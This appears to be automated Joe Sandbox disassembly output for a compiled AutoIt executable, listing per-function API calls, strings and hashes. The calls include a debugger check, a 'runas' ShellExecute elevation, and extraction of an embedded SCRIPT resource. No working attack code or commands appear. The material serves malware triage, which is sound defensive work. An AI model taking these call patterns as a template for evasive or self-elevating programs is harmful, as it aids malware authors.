Function 005D3B3A Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 005D3B68
IsDebuggerPresent.KERNEL32 ref: 005D3B7A
GetFullPathNameW.KERNEL32(00007FFF,?,?,006952F8,006952E0,?,?), ref: 005D3BEB

Part of subcall function 005D7BCC: _memmove.LIBCMT ref: 005D7C06

Part of subcall function 005E092D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,005D3C14,006952F8,?,?,?), ref: 005E096E

SetCurrentDirectoryW.KERNEL32(?), ref: 005D3C6F
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,00687770,00000010), ref: 0060D281
SetCurrentDirectoryW.KERNEL32(?,006952F8,?,?,?), ref: 0060D2B9
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00684260,006952F8,?,?,?), ref: 0060D33F
ShellExecuteW.SHELL32(00000000,?,?), ref: 0060D346

Part of subcall function 005D3A46: GetSysColorBrush.USER32(0000000F), ref: 005D3A50
Part of subcall function 005D3A46: LoadCursorW.USER32(00000000,00007F00), ref: 005D3A5F
Part of subcall function 005D3A46: LoadIconW.USER32(00000063), ref: 005D3A76
Part of subcall function 005D3A46: LoadIconW.USER32(000000A4), ref: 005D3A88
Part of subcall function 005D3A46: LoadIconW.USER32(000000A2), ref: 005D3A9A
Part of subcall function 005D3A46: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 005D3AC0
Part of subcall function 005D3A46: RegisterClassExW.USER32(?), ref: 005D3B16

Part of subcall function 005D39D5: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 005D3A03
Part of subcall function 005D39D5: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 005D3A24
Part of subcall function 005D39D5: ShowWindow.USER32(00000000,?,?), ref: 005D3A38
Part of subcall function 005D39D5: ShowWindow.USER32(00000000,?,?), ref: 005D3A41

Part of subcall function 005D434A: _memset.LIBCMT ref: 005D4370
Part of subcall function 005D434A: Shell_NotifyIconW.SHELL32(00000000,?), ref: 005D4415

Strings

%f, xrefs: 005D3C44
runas, xrefs: 0060D33A
This is a third-party compiled AutoIt script., xrefs: 0060D279

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: This is a third-party compiled AutoIt script.$runas$%f
API String ID: 529118366-210764952
Opcode ID: 5c485e02222d72cdec949d368859257ead1565cde8f01c45511583675936dcf2
Instruction ID: 34b5afa1e2a58561f568541ca40c264f243770a7e6d8c3877f5b4f1781c75d3c
Opcode Fuzzy Hash: 5c485e02222d72cdec949d368859257ead1565cde8f01c45511583675936dcf2
Instruction Fuzzy Hash: 4451D570908649AADF22EFB8DC199FD7F7ABF89700F004167F452A23A1DA705B45CB21

Function 005D49A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 005D49CD

Part of subcall function 005D7BCC: _memmove.LIBCMT ref: 005D7C06

GetCurrentProcess.KERNEL32(?,0065FAEC,00000000,00000000,?), ref: 005D4A9A
IsWow64Process.KERNEL32(00000000), ref: 005D4AA1
GetNativeSystemInfo.KERNELBASE(00000000), ref: 005D4AE7
FreeLibrary.KERNEL32(00000000), ref: 005D4AF2
GetSystemInfo.KERNEL32(00000000), ref: 005D4B23
GetSystemInfo.KERNEL32(00000000), ref: 005D4B2F

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 9ba4cb2a3633a9455e8b70ba15f689195e85adc50e0d82a1bde5f6b77c3e4ba8
Instruction ID: ca1bc14205ceab00dfb73a7343c4a3740f80325ec04560631acb2c5a924545bd
Opcode Fuzzy Hash: 9ba4cb2a3633a9455e8b70ba15f689195e85adc50e0d82a1bde5f6b77c3e4ba8
Instruction Fuzzy Hash: 0591A3319897C1DAC735DB6885501AFBFF6BF29300B444EAFD0C693B41D630A548CB59

Function 005D4E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,005D4D8E,?,?,00000000,00000000), ref: 005D4E99
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,005D4D8E,?,?,00000000,00000000), ref: 005D4EB0
LoadResource.KERNEL32(?,00000000,?,?,005D4D8E,?,?,00000000,00000000,?,?,?,?,?,?,005D4E2F), ref: 0060D937
SizeofResource.KERNEL32(?,00000000,?,?,005D4D8E,?,?,00000000,00000000,?,?,?,?,?,?,005D4E2F), ref: 0060D94C
LockResource.KERNEL32(005D4D8E,?,?,005D4D8E,?,?,00000000,00000000,?,?,?,?,?,?,005D4E2F,00000000), ref: 0060D95F

Strings

SCRIPT, xrefs: 005D4EA6

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 8bfa9668ad8b3fae10e4c28241bdfaf10c30db0b31c7b9916cf089ddd437163c
Instruction ID: 9ce16855aa7012b3d66b4cc063b2476fde2abb3ac52d22e47c46c4ca78b59908
Opcode Fuzzy Hash: 8bfa9668ad8b3fae10e4c28241bdfaf10c30db0b31c7b9916cf089ddd437163c
Instruction Fuzzy Hash: 88112175240701BFD7218BA5EC48F677BBEFBC5751F104669F405D6250DB71D9008A61

Function 005DFCE0 Relevance: 9.8, APIs: 3, Strings: 2, Instructions: 1040COMMON

Download Yara Rule

Strings

%f, xrefs: 005DFCF3
pbi, xrefs: 006149B9

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: BuffCharUpper
String ID: pbi$%f
API String ID: 3964851224-1749436832
Opcode ID: 610971f6253be62c1a9c10b77f5e6b97cbdf30ba555a20c239f86fbda9b97663
Instruction ID: 23611fddec569dbff5313cf882cf51e4b820fb15061125dc0af0cb026a2b4c13
Opcode Fuzzy Hash: 610971f6253be62c1a9c10b77f5e6b97cbdf30ba555a20c239f86fbda9b97663
Instruction Fuzzy Hash: E4928E70508381CFD724DF19C484B6ABBE5BF85304F18992EE58A8B392D775EC85CB92

Function 0063445A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,0060E398), ref: 0063446A
FindFirstFileW.KERNELBASE(?,?), ref: 0063447B
FindClose.KERNEL32(00000000), ref: 0063448B

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: bab71b657124f5fee831444d1a407666f83fe386462d4906277bd3c05e1f6d46
Instruction ID: 9bb19fb3596278a37364a63452637f9435ae9e2894849b291aa0867bcb03c535
Opcode Fuzzy Hash: bab71b657124f5fee831444d1a407666f83fe386462d4906277bd3c05e1f6d46
Instruction Fuzzy Hash: 6EE0D872410601675310AB78EC0D4E9B79EDE05336F100725F935C21E0EBB46D0096D6

Function 005E09D0 Relevance: 64.3, APIs: 27, Strings: 9, Instructions: 1300windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 005E0A5B
timeGetTime.WINMM ref: 005E0D16
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 005E0E53
Sleep.KERNEL32(0000000A), ref: 005E0E61
LockWindowUpdate.USER32(00000000,?,?), ref: 005E0EFA
DestroyWindow.USER32 ref: 005E0F06
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 005E0F20
Sleep.KERNEL32(0000000A,?,?), ref: 00614E83
TranslateMessage.USER32(?), ref: 00615C60
DispatchMessageW.USER32(?), ref: 00615C6E
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00615C82

Strings

pbi, xrefs: 00615003
@COM_EVENTOBJ, xrefs: 006154F0
pbi, xrefs: 00614F59
@GUI_WINHANDLE, xrefs: 00614F8F
pbi, xrefs: 00614FAE
@TRAY_ID, xrefs: 0061578F
@GUI_CTRLID, xrefs: 00614F3A
@GUI_CTRLHANDLE, xrefs: 00614FE4
pbi, xrefs: 006157B4

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$pbi$pbi$pbi$pbi
API String ID: 4212290369-1687800869
Opcode ID: 8ba2b1aad2909b0fda2b8fe0cae787b395e74c9019fab0e7fbdaabbe64e1fa35
Instruction ID: 83a492c2042221007cd5b8d2e9df0e0730f7780bd18ed14fc50d12666d11fc6c
Opcode Fuzzy Hash: 8ba2b1aad2909b0fda2b8fe0cae787b395e74c9019fab0e7fbdaabbe64e1fa35
Instruction Fuzzy Hash: CEB2B470604741DFD728DF24C885BAAFBE6BF84304F18491EE59A973A1D770E985CB82

Function 00639155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00638F5F: __time64.LIBCMT ref: 00638F69

Part of subcall function 005D4EE5: _fseek.LIBCMT ref: 005D4EFD

__wsplitpath.LIBCMT ref: 00639234

Part of subcall function 005F40FB: __wsplitpath_helper.LIBCMT ref: 005F413B

_wcscpy.LIBCMT ref: 00639247
_wcscat.LIBCMT ref: 0063925A
__wsplitpath.LIBCMT ref: 0063927F
_wcscat.LIBCMT ref: 00639295
_wcscat.LIBCMT ref: 006392A8

Part of subcall function 00638FA5: _memmove.LIBCMT ref: 00638FDE
Part of subcall function 00638FA5: _memmove.LIBCMT ref: 00638FED

_wcscmp.LIBCMT ref: 006391EF

Part of subcall function 00639734: _wcscmp.LIBCMT ref: 00639824
Part of subcall function 00639734: _wcscmp.LIBCMT ref: 00639837

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00639452
_wcsncpy.LIBCMT ref: 006394C5
DeleteFileW.KERNEL32(?,?), ref: 006394FB
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00639511
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00639522
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00639534

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: a2e86eb00e2403ccad2b68a660f40c7080a11c28300548dcfaf1e3349de9ff74
Instruction ID: b687700512d57e7c5afec8b70954ea54c6e4e921e196d1402989143b287c0f8d
Opcode Fuzzy Hash: a2e86eb00e2403ccad2b68a660f40c7080a11c28300548dcfaf1e3349de9ff74
Instruction Fuzzy Hash: F7C111B1D00219ABDF21DF95CC85AEEBBBDEF85310F0040AAF609E7251DB709A458F65

Function 005D3015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 005D3074
RegisterClassExW.USER32(00000030), ref: 005D309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 005D30AF
InitCommonControlsEx.COMCTL32(?), ref: 005D30CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 005D30DC
LoadIconW.USER32(000000A9), ref: 005D30F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 005D3101

Strings

0, xrefs: 005D3056
AutoIt v3 GUI, xrefs: 005D3090
TaskbarCreated, xrefs: 005D30A4
+, xrefs: 005D305D

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 30d1590864be4a43aa6198485031f9c415a4ed62e1b88594ea0589961525db08
Instruction ID: 6281a16adc45cf4017e812e78d04395e031bdd4bcd9bf876a0bc5611acfb8fe9
Opcode Fuzzy Hash: 30d1590864be4a43aa6198485031f9c415a4ed62e1b88594ea0589961525db08
Instruction Fuzzy Hash: 813144B1801359AFDB02CFA4EC89ADABFF6FB09311F14516BE981EA2A0D3B50545CF51

Function 005D3041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 005D3074
RegisterClassExW.USER32(00000030), ref: 005D309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 005D30AF
InitCommonControlsEx.COMCTL32(?), ref: 005D30CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 005D30DC
LoadIconW.USER32(000000A9), ref: 005D30F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 005D3101

Strings

0, xrefs: 005D3056
AutoIt v3 GUI, xrefs: 005D3090
TaskbarCreated, xrefs: 005D30A4
+, xrefs: 005D305D

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: e64cf33c974276c0338ce13ba45ebea482b5b5bc4431b9eccba700f6c7f7f09d
Instruction ID: 9d596076aa54c28492933f3b01522c8d90932833d70f1869b4d52e7df96c3837
Opcode Fuzzy Hash: e64cf33c974276c0338ce13ba45ebea482b5b5bc4431b9eccba700f6c7f7f09d
Instruction Fuzzy Hash: 0F21F4B1911718AFDB01DFA4ED88BDEBBFAFB08701F00512BF912A62A0D7B145448F91

Function 005D708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005D4706: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,006952F8,?,005D37AE,?), ref: 005D4724

Part of subcall function 005F050B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,005D7165), ref: 005F052D

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 005D71A8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0060E8C8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 0060E909
RegCloseKey.ADVAPI32(?), ref: 0060E947
_wcscat.LIBCMT ref: 0060E9A0

Strings

\Include\, xrefs: 005D7165
\, xrefs: 0060E9C3
Software\AutoIt v3\AutoIt, xrefs: 005D719E
Include, xrefs: 0060E8BF, 0060E900

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: 6b6dfd1a8370d97f4c04e5b7d76fa0d920e964a4e13811ef0e5a4bea91b32f22
Instruction ID: e7f7173d737dee32d327895ccc856282e2bd0093e8b969b06203b3d656da4c0c
Opcode Fuzzy Hash: 6b6dfd1a8370d97f4c04e5b7d76fa0d920e964a4e13811ef0e5a4bea91b32f22
Instruction Fuzzy Hash: 2771BE715083069EC714EF69EC559ABBBEEFF88350F40192FF445872A0EB719A48CB52

Function 005D3633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 005D36D2
KillTimer.USER32(?,00000001), ref: 005D36FC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 005D371F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 005D372A
CreatePopupMenu.USER32 ref: 005D373E
PostQuitMessage.USER32(00000000), ref: 005D374D

Strings

%f, xrefs: 0060D081, 0060D0CF
TaskbarCreated, xrefs: 005D3725

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated$%f
API String ID: 129472671-3975018843
Opcode ID: 2d2af3e260e64f2d7aaa1948d5c3dcf2e47308bf0044cd69301879234ae5e309
Instruction ID: 4fa7bc6f5c0ca37afd4e601c0015fe1d4737d226f150a2e8f2b04063307a92e1
Opcode Fuzzy Hash: 2d2af3e260e64f2d7aaa1948d5c3dcf2e47308bf0044cd69301879234ae5e309
Instruction Fuzzy Hash: A341E4B1240A06ABDB35AF6CEC09BBA3F5BFB44301F101527F503963A1DA619B40D767

Function 005D3A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 005D3A50
LoadCursorW.USER32(00000000,00007F00), ref: 005D3A5F
LoadIconW.USER32(00000063), ref: 005D3A76
LoadIconW.USER32(000000A4), ref: 005D3A88
LoadIconW.USER32(000000A2), ref: 005D3A9A
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 005D3AC0
RegisterClassExW.USER32(?), ref: 005D3B16

Part of subcall function 005D3041: GetSysColorBrush.USER32(0000000F), ref: 005D3074
Part of subcall function 005D3041: RegisterClassExW.USER32(00000030), ref: 005D309E
Part of subcall function 005D3041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 005D30AF
Part of subcall function 005D3041: InitCommonControlsEx.COMCTL32(?), ref: 005D30CC
Part of subcall function 005D3041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 005D30DC
Part of subcall function 005D3041: LoadIconW.USER32(000000A9), ref: 005D30F2
Part of subcall function 005D3041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 005D3101

Strings

0, xrefs: 005D3AF4
#, xrefs: 005D3AFB
AutoIt v3, xrefs: 005D3B05

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: d4c6654c4cb62c97521e48ce878f4bd441865e14bdbb7754ef6de041dbfcbc1a
Instruction ID: b8507d009e54b280885de546ae4a2caaa46b58cf6930f8779be1e2256771bd08
Opcode Fuzzy Hash: d4c6654c4cb62c97521e48ce878f4bd441865e14bdbb7754ef6de041dbfcbc1a
Instruction Fuzzy Hash: 84213770900308AFEF12DFA8EC09B9D7FBAFB08711F00116BF505A66A1D3B696508F84

Function 005D3766 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/AutoIt3OutputDebug, xrefs: 005D3892
Ri, xrefs: 0060D213
/AutoIt3ExecuteScript, xrefs: 005D38BC
CMDLINERAW, xrefs: 005D37FB
>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 005D37AE
CMDLINE, xrefs: 005D3822
/ErrorStdOut, xrefs: 005D387D
/AutoIt3ExecuteLine, xrefs: 005D38A7

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW$Ri
API String ID: 1825951767-2712856176
Opcode ID: 0ab33120c4779273f35b90fc94552ab3ed6acdcb6125f4d8089cb7651886085d
Instruction ID: bf9034ed08891140d8cfd0554bf8a0e2770f0467f9338a6429280838c9303c1a
